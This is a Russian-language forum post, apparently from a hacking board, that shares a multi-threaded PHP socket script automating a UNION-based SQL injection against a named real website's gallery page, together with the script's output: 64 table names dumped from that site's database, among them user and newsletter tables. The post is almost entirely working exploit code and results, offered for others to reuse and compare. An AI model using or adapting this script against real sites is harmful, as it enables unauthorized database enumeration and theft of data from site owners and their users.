Нарыл в интернете один скрипт интересный, в принципе переделал некоторые существенные детали и приспособил под некоторые нужды. Ниже будет приведен пример использования наверное всё-таки псевдомультипоточности в PHP на примерe sql-inj, если точнее, получение списка таблиц из informations_schema.tables в количестве 64 штук на примере одной sql-инъекции из наших sql-инъекций. Скрипт работает значительно быстрее, нежели просто через fscockopen в цикле, насколько быстрее и быстрее ли curl_multi_init - не проверял. Протестен на WIN XP SP2 на denwer (время работы 13 сек) и в bamcompile1.21 (время работы 14), все 64 таблички выявил и записал в файлик за 13 секунд (лучший результат), т.е 64 запроса за 13 секунд ~ 4,92 запросов в секунду - на моей в принципе уже древней тачке и инете 4 мбит/сек: PHP: <?php function getmicrotime() { list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec); } $bb = fopen('123.txt','w'); // Создаем массив с ссылками (пример простой, нам заранее известно, что в данной БД 64 таблицы, демонстрация работы) for ($z = 0;$z<64;$z++) { $links_array[] = "rockgallery/index.php?id=-8+union+select+1,2,3,CONCAT(0x3c73716c3e,table_name,0x3c2f73716c3e),5,6+from+information_schema.tables+limit+". $z . ",1--"; } $host='artecapital.net'; // наш хост $max_threads = 50; // максимальное количество потоков $threads = array(); // тут будем держать открытые потоки $a = ""; $socket_timeout = 3600; $done = false; reset($links_array); $start = getmicrotime(); while(!$done) { // если количество запущенных потоков меньше максимального if(count($threads) < $max_threads) { // получаем очередную ссылку if($link=current($links_array)) { // открываем сокет и формируем заголовок $socket = fsockopen($host, 80); $url="http://".$host . "/" . $link; fputs($socket, "GET $url \r\n"); fputs($socket, "Host: $host\r\n"); fputs($socket, "\r\n"); stream_set_blocking($socket, 0); stream_set_timeout($socket, $socket_timeout); // запоминаем запущенный сокет $threads[] = $socket; // переходим к следующей ссылке next($links_array); } } foreach ($threads as $key=>$socket) { if(feof($socket)) { // если поток отработал, убираем его $a = ""; fclose($socket); unset($threads[$key]); } else { $a.= fgets($socket,4096); if (preg_match("#<[\s]*sql[\s]*>([^<]*)<[\s]*/sql[\s]*>#i",$a,$res)) { $i++; fwrite ($bb,$i . ":" . $res[1] . "\r\n"); //echo $res[1] . "\n"; $a = ""; fclose($socket); unset($threads[$key]); } } } // Тут типо пауза, если вдруг понадобится //sleep(1); if (count($threads) == 0) $done = true; } $end = getmicrotime(); fwrite($bb, "--------------------------------------\r\n"); fwrite($bb, "Time start: " . date('H:i:s',$start)."\r\n"); fwrite($bb, "Time end: ". date('H:i:s',$end)."\r\n"); $w = round(($end - $start),0); fwrite($bb, "Execute time: ".gmdate('H:i:s',$w)); fclose ($bb); echo "Done, saved in 123.txt"; ?> Результат работы скрипта: Code: 1:CHARACTER_SETS 2:COLLATIONS 3:COLLATION_CHARACTER_SET_APPLICABILITY 4:COLUMNS 5:COLUMN_PRIVILEGES 6:KEY_COLUMN_USAGE 7:PROFILING 8:ROUTINES 9:SCHEMATA 10:SCHEMA_PRIVILEGES 11:STATISTICS 12:TABLES 13:TABLE_CONSTRAINTS 14:TABLE_PRIVILEGES 15:TRIGGERS 16:USER_PRIVILEGES 17:VIEWS 18:art_actividades 19:art_actividades_tipos 20:art_arq_des 21:art_arq_des_imgs 22:art_artistas 23:art_banners 24:art_cidades 25:art_criticas 26:art_criticas_imgs 27:art_dados 28:art_dados_imgs 29:art_destaques 30:art_entrevistas 31:art_entrevistas_imgs 32:art_estado_arte 33:art_estado_arte_imgs 34:art_estatisticas 35:art_estatisticas_tipos 36:art_eventos 37:art_eventos_tipos 38:art_exposicoes 39:art_fotografia 40:art_fotografia_imgs 41:art_locais 42:art_locais_tipos 43:art_moda 44:art_moda_imgs 45:art_newsletter_rec 46:art_newsletter_sub 47:art_noticias 48:art_opinioes 49:art_opinioes_imgs 50:art_paises 51:art_perspectivas 52:art_perspectivas_imgs 53:art_plataforma 54:art_plataforma_imgs 55:art_pub_entidades 56:art_pub_not_imgs 57:art_pub_noticias 58:art_recomendacoes 59:art_recomendacoes_eventos 60:art_recomendacoes_eventos_imgs 61:art_recomendacoes_imgs 62:art_rockgallery 63:art_rockgallery_imgs 64:art_utilizadores -------------------------------------- Time start: 03:31:17 Time end: 03:31:30 Execute time: 00:00:13 просьба сравнить с ЛЮБЫМИ другими аналогами реализации многопоточности на php и поделиться результатами. Ну и ваша, несомненно полезная, критика, приветствуется. PS: Нагрузка на систему и потребление памяти на WIN XP SP2 вообще не заметно практически